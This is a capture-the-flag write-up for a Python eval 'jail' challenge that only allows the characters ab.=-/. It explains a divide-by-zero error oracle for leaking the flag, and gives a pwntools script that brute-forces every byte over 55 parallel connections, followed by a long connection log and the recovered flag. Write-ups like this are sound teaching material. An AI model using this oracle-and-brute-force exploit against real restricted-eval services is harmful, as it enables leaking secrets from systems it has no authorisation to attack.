wow i'm in jail??? i'm speechless...
nc speechless.challs.infobahnc.tf 1337
We're given a Python server that looks like this:
#!/usr/bin/python3
allowed = "ab.=-/"
with open("flag.txt", 'rb') as f:
flag = f.read()
a = None
while True:
expr = input(">>> ")
if not all(char in allowed for char in expr):
print('you need to try harder')
continue
if any(f"{blocked}==" in expr or f"=={blocked}" in expr for blocked in "ab"):
print('stop comparing the flag')
continue
try:
a = eval(expr, {"a": a} | {"b" * (index + 1): char for index, char in enumerate(flag)})
except:
a = None
print('stop breaking things >:(')We're given a strange eval environment with a stateful a variable, and a bunch of b vars such that b is the first byte of the flag, bb is the second byte, and so on.
Note that we can only use ab.=-/ as characters, and the only information we can leak is when our eval throws an error.
Then, the key idea is this: we can use the except: handler as an error oracle so long as we can throw an error if and only if a b variable matches our guess. One way to do this is to conditionally trigger a divide by 0 exception:
- Evaluate
b/b->a = 1 - Evaluate
b - a, which will seta = 0ifb = 1, ora > 0otherwise. - Evaluate
b / a, which will throw an error iffa = 0in the previous step; this tells us ifb = 1.
We can repeat those steps to query b - a - a - ... for any value of b, and we can swap b for bb, bbb, etc. to query each of the other characters of the flag.
For whatever reason, each query takes a decent amount of time on remote, making a character-by-character approach take a bit of time. To expedite the process, we can query how many characters are in the flag by repeatedly setting a = bbb... until we hit a NameError for referencing an undefined variable:
ky28059@ky28059:~$ nc speechless.challs.infobahnc.tf 1337
== proof-of-work: disabled ==
>>> b
>>> bb
>>> bbb
>>> bbbb
...
>>> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
>>> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
>>> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
>>> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
stop breaking things >:(so the last valid index is 55. Once we know that, here's a script that brute forces each character of the flag simultaneously by spawning 55 processes:
from multiprocessing import Pool
import pwn
def query(conn, index, val):
conn.sendline(b'b/b') # a is 1
conn.recvuntil(b'>>>')
conn.sendline(b'b' * index + b'-a' * val) # a = bbb - val
conn.recvuntil(b'>>>')
conn.sendline(b'b/a') # a = b / (bbb - val)
res = conn.recvuntil(b'>>>').decode()
return 'stop breaking things >:(' in res
def try_char(index):
conn = pwn.remote('speechless.challs.infobahnc.tf', 1337)
conn.recvuntil(b'>>>')
for j in range(32, 128):
if query(conn, index, j):
return j
if __name__ == '__main__':
a = Pool(processes=55).map(try_char, range(1, 55))
print(a)[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[x] Opening connection to speechless.challs.infobahnc.tf on port 1337: Trying 34.14.220.218
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[+] Opening connection to speechless.challs.infobahnc.tf on port 1337: Done
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[*] Closed connection to speechless.challs.infobahnc.tf port 1337
[105, 110, 102, 111, 98, 97, 104, 110, 123, 105, 95, 99, 97, 110, 39, 116, 95, 98, 101, 108, 105, 101, 118, 101, 95, 105, 95, 117, 115, 101, 100, 95, 101, 108, 108, 105, 112, 115, 105, 115, 95, 105, 110, 95, 97, 95, 106, 97, 105, 108, 95, 46, 46, 46]
Process finished with exit code 0
and we get the flag:
>>> ''.join([chr(x) for x in [105, 110, 102, 111, 98, 97, 104, 110, 123, 105, 95, 99, 97, 110, 39, 116, 95, 98, 101, 108, 105, 101, 118, 101, 95, 105, 95, 117, 115, 101, 100, 95, 101, 108, 108, 105, 112, 115, 105, 115, 95, 105, 110, 95, 97, 95, 106, 97, 105, 108, 95, 46, 46, 46]])
"infobahn{i_can't_believe_i_used_ellipsis_in_a_jail_..."(there was an off-by-one in the script, but luckily we know the last character is } 😅)